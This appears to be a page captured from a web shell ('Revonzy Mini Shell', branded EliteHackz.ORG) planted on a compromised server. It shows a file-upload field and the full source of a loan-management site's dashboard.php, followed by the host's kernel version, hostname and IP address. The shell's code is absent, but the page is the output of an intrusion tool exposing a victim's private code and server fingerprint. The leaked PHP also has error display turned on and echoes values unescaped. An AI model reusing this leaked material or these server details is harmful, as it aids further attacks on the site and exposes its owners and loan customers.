Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/vahtuksanghatana.com/vahtuk_society/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/vahtuksanghatana.com/vahtuk_society/dashboard.php

<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
require_once('lib/functions.php');

$db         =     new login_function();
$success_msg  = 0;
if (isset($_SESSION['current_login_admin'])) {
      $current_login_admin    =     $_SESSION['current_login_admin'];
}

if (!isset($_SESSION['current_login_admin'])) {
      header("location:index.php");
}
// $count = $db->get_count_from_user_details_by_id();


$order_id_from="";
$order_id_to="";
$loan_id="";

if(isset($_POST['search']))
{
      $order_id_from     = $_POST['order_id_from'];
      $order_id_to       = $_POST['order_id_to'];
      $loan_id       = $_POST['loan_id'];

      $_SESSION['filter_order_id_from']    = $order_id_from;
      $_SESSION['filter_order_id_to']      = $order_id_to;
      $_SESSION['filter_loan_id']      = $loan_id;
}
else if(isset($_POST['print_page'])) 
{
      $order_id_from     = $_POST['order_id_from'];
      $order_id_to       = $_POST['order_id_to'];
      $loan_id       = $_POST['loan_id'];

      $_SESSION['filter_order_id_from']    = $order_id_from;
      $_SESSION['filter_order_id_to']      = $order_id_to;
      $_SESSION['filter_loan_id']      = $loan_id;

    echo "<script>window.location.href = 'delivery_orders_print.php';</script>"; 
}
else if(isset($_SESSION['filter_order_id_from']))
{
      $order_id_from     = $_SESSION['filter_order_id_from'];
      $order_id_to       = $_SESSION['filter_order_id_to'];
      $loan_id       = $_SESSION['filter_loan_id'];
}

?>
<!DOCTYPE html>
<html lang="en">

<head>
      <meta charset="UTF-8">
      <meta http-equiv="X-UA-Compatible" content="IE=edge">
      <meta name="viewport" content="width=device-width initial-scale=1.0">
      <title>Dashboard</title>
      <!-- GLOBAL MAINLY STYLES-->
      <link href="css/bootstrap.min.css" rel="stylesheet" />
      <link href="css/font-awesome.min.css" rel="stylesheet" />
      <link href="css/line-awesome.min.css" rel="stylesheet" />
      <link href="css/themify-icons.css" rel="stylesheet" />
      <link href="css/animate.min.css" rel="stylesheet" />
      <link href="css/toastr.min.css" rel="stylesheet" />
      <link href="css/bootstrap-select.min.css" rel="stylesheet" />
      <!--<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css">-->
       <link href="https://cdn.jsdelivr.net/npm/select2@4.0.13/dist/css/select2.min.css" rel="stylesheet" />
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
    <link href="https://cdn.jsdelivr.net/npm/select2@4.0.13/dist/css/select2.min.css" rel="stylesheet" />
    <script src="https://cdn.jsdelivr.net/npm/select2@4.0.13/dist/js/select2.min.js"></script>
 

      <!-- PLUGINS STYLES-->
      <!-- THEME STYLES-->
      <link href="css/main.min.css" rel="stylesheet" />
      <link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.2/css/all.css">

      <!-- PAGE LEVEL STYLES-->
    <style>
   .sidebar.sidebar-default .nav-link:not(.static-item).active,
.sidebar.sidebar-default .nav-link:not(.static-item)[aria-expanded=true] {
    background-color: #FE6600 !important;
}

/* Remove border and adjust background for select2 single selection */
.select2-container--default .select2-selection--single {
    background-color: #fff;
    height: 25px; /* Adjust height */
    display: flex;
    align-items: center;
}

/* Optional: Adjust the rendered text style */
.select2-container--default .select2-selection--single .select2-selection__rendered {
    font-size: 14px; /* Adjust font size */
    color: #333; /* Dark text color */
    padding-left: 10px; /* Padding for the text */
}

/* Hide the arrow */
.select2-container--default .select2-selection--single .select2-selection__arrow {
    display: none;
}

/* Add padding and spacing to option items */
.select2-container--default .select2-results__option {
    padding: 10px 20px; /* Adjust padding for options */
    font-size: 14px;
    color: black; 
    font-weight:600;
}

/* Adjust select box focus and hover */
.select2-container--default .select2-selection--single:focus {
    border-color: #FE6600; /* Border color when focused */
}

/* Improve select box dropdown width */
.select2-container--default .select2-dropdown {
    min-width: 600px; /* Set a fixed dropdown width */
    max-width: 100%;
}
  </style>

      <div class="page-wrapper">
            <!-- START HEADER-->
            <?php include('header.php'); ?>
            <!-- END HEADER-->
            <!-- START SIDEBAR-->
            <?php include('side-bar.php'); ?>
            <!-- END SIDEBAR-->
            <div class="content-wrapper">
                  <style type="text/css">
                        .disha {
                              height: auto;
                              width: 100%;
                        }
                        .container 
                        {
                              display: flex;
                              margin-left: -20px;

                        }
                              .container1 
                              {
                              border: 1px solid lightpink;
                              margin-left: 20px;
                              font-size:20px;
                              color:orange red;
                              font-weight:bold;
                              box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
                              border-radius:30px;
                              width: 500px;
                              margin: 10px;

                              text-align:center;
                              background-color:white;
                              }


                  </style>
                  <center>
                  </center>
                  <br>
                  <!-- START PAGE CONTENT-->

                  <br>
                  <?php
                  if ($success_msg == 1) {
                  ?>
                        <script type="text/javascript">
                              alert("Record Deleted Successfully");
                              window.location = "category-report.php";
                        </script>
                  <?php
                  }
                  ?>
                  <style>
                        .min-qty-alert {
                              color: white;
                              font-family: cambria;
                              font-size: 20px;
                              font-weight: bold;
                              background: red;
                              border: 1px solid grey;
                              padding: 15px;
                              margin: 2px;
                              border-radius: 25px;
                        }
                  </style>
</head>

<body class="fixed-navbar">
    <div class="ibox" style="border-radius:5px; padding:7px;">
            <div class="ibox-body" style="padding:7px; padding-top:0px;">
               <!--    <div class="ibox-head">
                        <div class="ibox-title"><i class="fas fa-user-tie" style="margin-right:10px;"></i>TOTAL COUNTS</div>
                  </div> -->
                  <br />
                  <div>
              <!--     <div class="container" style="display:flex;">
                        <div class="container1">
                              <div class="total-orders">TOTAL ORDERS </div>
                              <div class="count"><p><?php echo $count; ?></p></div>
                        </div>
                        <div class="container1">
                              <div class="total-orders">TOTAL ORDERS </div>
                              <div class="count"><p><?php echo $count; ?></p></div>
                        </div>
                         <div class="container1">
                              <div class="total-orders">TOTAL ORDERS </div>
                              <div class="count"><p><?php echo $count; ?></p></div>
                        </div>
                         <div class="container1">
                              <div class="total-orders">TOTAL ORDERS </div>
                              <div class="count"><p><?php echo $count; ?></p></div>
                        </div>
                         <div class="container1">
                              <div class="total-orders">TOTAL ORDERS </div>
                              <div class="count"><p><?php echo $count; ?></p></div>
                        </div>
                  </div>
 -->

            </div>

            <div class="ibox-head">
                  <div class="ibox-title"><i class="fas fa-user-tie" style="margin-right:10px;"></i>Account Statement </div>
            </div>

            <form class="form-pink" method="post" action="account_statement.php">
            <div class="ibox-body">
                  <div class="row" style="display:flex;">
                       <!--  <div class="col-sm-2 col-md-2 col-lg-2 form-group mb-6">
                              <label class="form-group mb-4 set-row label_marg"><b>From Date </b></label>
                              <div class="input-group-icon input-group-icon-left  set-row">
                                    <span class="input-icon input-icon-left"><i class="fas fa-pen-square"></i></span>
                                    <input type="date" name="order_id_from" id="date_from" class="form-control form-control-air" value="<?php echo $order_id_from; ?>" placeholder="Enter Order Id"  />
                              </div>
                        </div>
                        <div class="col-sm-2 col-md-2 col-lg-2 form-group mb-6">
                              <label class="form-group mb-4 set-row label_marg"><b>To Date</b></label>
                              <div class="input-group-icon input-group-icon-left  set-row">
                                    <span class="input-icon input-icon-left"><i class="fas fa-pen-square"></i></span>
                                    <input type="date" name="order_id_to" id="date_from" class="form-control form-control-air" value="<?php echo $order_id_to; ?>" placeholder="Enter Order Id"  />
                              </div>
                        </div> -->

                       <!--<div class="col-sm-2 col-md-2 col-lg-2 form-group mb-6">-->
                       <!--     <label class="form-group mb-4 set-row label_marg"><b>Select Month</b></label>-->

                       <!--     <div class="selectBox" onclick="showCheckboxes()">-->
                       <!--         <select class="form-control form-control-air" name="month">-->
                       <!--             <option>Select Month</option>-->
                       <!--         </select>-->
                       <!--         <div class="overSelect"></div>-->
                       <!--     </div>-->

                       <!--     <div id="checkboxes">-->
                       <!--          <label for="selectAll">-->
                       <!--             <input type="checkbox" id="selectAll" onclick="toggleAll(this)" /> Select All-->
                       <!--         </label>-->
                       <!--         <label for="January">-->
                       <!--             <input type="checkbox" id="January" name="months[]" value="01" /> January-->
                       <!--         </label>-->
                       <!--         <label for="February">-->
                       <!--             <input type="checkbox" id="February" name="months[]" value="02" /> February-->
                       <!--         </label>-->
                       <!--         <label for="March">-->
                       <!--             <input type="checkbox" id="March" name="months[]" value="03" /> March-->
                       <!--         </label>-->
                       <!--         <label for="April">-->
                       <!--             <input type="checkbox" id="April" name="months[]" value="04" /> April-->
                       <!--         </label>-->
                       <!--         <label for="May">-->
                       <!--             <input type="checkbox" id="May" name="months[]" value="05" /> May-->
                       <!--         </label>-->
                       <!--         <label for="June">-->
                       <!--             <input type="checkbox" id="June" name="months[]" value="06" /> June-->
                       <!--         </label>-->
                       <!--         <label for="July">-->
                       <!--             <input type="checkbox" id="July" name="months[]" value="07" /> July-->
                       <!--         </label>-->
                       <!--         <label for="August">-->
                       <!--             <input type="checkbox" id="August" name="months[]" value="08" /> August-->
                       <!--         </label>-->
                       <!--         <label for="September">-->
                       <!--             <input type="checkbox" id="September" name="months[]" value="09" /> September-->
                       <!--         </label>-->
                       <!--         <label for="October">-->
                       <!--             <input type="checkbox" id="October" name="months[]" value="10" /> October-->
                       <!--         </label>-->
                       <!--         <label for="November">-->
                       <!--             <input type="checkbox" id="November" name="months[]" value="11" /> November-->
                       <!--         </label>-->
                       <!--         <label for="December">-->
                       <!--             <input type="checkbox" id="December" name="months[]" value="12" /> December-->
                       <!--         </label>-->
                       <!--     </div>-->
                       <!-- </div>-->

                        <div class="col-sm-2 col-md-2 col-lg-2 form-group mb-6">
                              <label class="form-group mb-4 set-row label_marg"><b>Select Customer</b></label>
                              <div class="input-group-icon input-group-icon-left  set-row">
                                    <span class="input-icon input-icon-left"><i class="fas fa-pen-square"></i></span>
                                   <select name="jamin_name" class="form-control form-control-air" id="main_category">
                                        <option value="any">Select Customer </option>
                                                            <?php
                                                                $data = $db->get_all_sabhasad1();
                                                                if (!empty($data)) {
                                                                    foreach ($data as $record) {
                                                                        $id          = $record[0];
                                                                        $s_name = $record[1];
                                                                ?>
                                                                <option value="<?php echo $id; ?>"><?php echo $s_name; ?></option>
                                                                <?php
                                                                    }
                                                                }
                                                                ?>
                                    </select>
                              </div>
                        </div>
                        <div class="col-sm-2 col-md-2 col-lg-2 form-group mb-6">
                              <label class="form-group mb-4 set-row label_marg"><b>Select Loan</b></label>
                              <div class="input-group-icon input-group-icon-left  set-row">
                                    <span class="input-icon input-icon-left"><i class="fas fa-pen-square"></i></span>
                                   <select name="loan_id" class="form-control form-control-air" id="subcategory">
                                        <option value="any">Select Loan</option>
                                    </select>
                              </div>
                        </div>

                        
                        <div class="col-sm-2 col-md-2 col-lg-2 form-group mb-6" style="margin-top:10px;display: flex;">
                              <div class="input-group-icon input-group-icon-left  set-row">
                                  <button type="submit" name="search" style="margin-top: 15px; margin-right: 60px;width: 150px" class="btn btn-pink btn-air">Search</button>
                              </div>
                             <!--  <div class="input-group-icon input-group-icon-left  set-row">
                                  <button type="submit" name="print_page" style="margin-top: 15px; margin-right: 60px;width: 150px" class="btn btn-pink btn-air">Print</button>
                              </div> -->
                        </div>



                  </div>
            </div>
      </form>
      <style type="text/css">
          .multiselect {
  width: 200px;
}

.selectBox {
  position: relative;
}

.selectBox select {
  width: 100%;
  font-weight: bold;
}

.overSelect {
  position: absolute;
  left: 0;
  right: 0;
  top: 0;
  bottom: 0;
}

#checkboxes {
  display: none;
  border: 1px #dadada solid;
}

#checkboxes label {
  display: block;
}

#checkboxes label:hover {
  background-color: #1e90ff;
}
      </style>
      </div>
      <!-- <a href="parlour-min-stock.php" class="min-qty-alert">Make Over Studio Min. Stock : <?php echo $parlour_counter; ?></a> -->
      <!-- END PAGE CONTENT-->
      <?php include('footer.php'); ?>
      </div>
      </div>
      <!-- START SEARCH PANEL-->
      <?php //include('search.php'); 
      ?>
      <!-- END SEARCH PANEL-->
      <!-- BEGIN THEME CONFIG PANEL-->

      <!-- END THEME CONFIG PANEL-->
      <!-- BEGIN PAGA BACKDROPS-->
      <div class="sidenav-backdrop backdrop"></div>
      <div class="preloader-backdrop">
            <div class="page-preloader">Loading</div>
      </div>
      <!-- END PAGA BACKDROPS-->
      <!-- New question dialog-->

      <!-- End New question dialog-->
      <!-- QUICK SIDEBAR-->
      <?php //include('right-side-bar.php'); 
      ?>
      <!-- END QUICK SIDEBAR-->
      <!-- CORE PLUGINS-->
      <script src="js/jquery.min.js"></script>

      <script src="js/popper.min.js"></script>
      <script src="js/bootstrap.min.js"></script>
      <script src="js/metisMenu.min.js"></script>
      <script src="js/jquery.slimscroll.min.js"></script>
      <script src="js/idle-timer.min.js"></script>
      <script src="js/toastr.min.js"></script>
      <script src="js/jquery.validate.min.js"></script>
      <script src="js/bootstrap-select.min.js"></script>
      <!-- PAGE LEVEL PLUGINS-->
      <!-- CORE SCRIPTS-->
       <script>
        $(document).ready(function () {
        // Initialize Select2 on the doctor selection dropdown
            $('#customer_name').select2();

        // Listen for the Select2 change event

        });
    </script>
      <script src="js/app.min.js"></script>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>

<script type="text/javascript">
$(document).ready(function() {
    $('#main_category').on('change', function() {
        var selected_main_category = $('#main_category').val();
        console.log("Selected Main Category: " + selected_main_category);  

        // alert("Selected Main Category: " + selected_main_category); 
        if (selected_main_category !== "") {
            $.ajax({
                type: "POST",
                data: {'selected_main_category': selected_main_category},
                url: "api/load_loan.php",
                success: function(data) {
                    //  alert(data); 
                    $("#subcategory").find('option').remove();
                    var data_new = JSON.parse(data); 

                    $("#amount").val('');

                    $("#subcategory").append("<option value=''>Select Subcategory</option>");
                    if (data_new.length > 0) {
                        for (var i = 0; i < data_new.length; i++) {
                            $("#subcategory").append("<option value='" + data_new[i][0] + "'>Loan Acc No -" + data_new[i][0] + "</option>");
                        }
                    } else {
                        $("#subcategory").append("<option value=''>No Subcategories Found</option>");
                    }
                },
                error: function(xhr, status, error) {
                    alert("Error: " + error);
                }
            });
        } else {
            $("#subcategory").find('option').remove();
            $("#subcategory").append("<option value=''>Select Subcategory</option>");
        }
    });
});

</script>
<script>
    var expanded = false;

function showCheckboxes() {
  var checkboxes = document.getElementById("checkboxes");
  if (!expanded) {
    checkboxes.style.display = "block";
    expanded = true;
  } else {
    checkboxes.style.display = "none";
    expanded = false;
  }
}

function toggleAll(selectAllCheckbox) {
    var checkboxes = document.querySelectorAll('#checkboxes input[type="checkbox"]');
    checkboxes.forEach(function(checkbox) {
        checkbox.checked = selectAllCheckbox.checked;
    });
}

</script>

      <!-- PAGE LEVEL SCRIPTS-->

     
</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4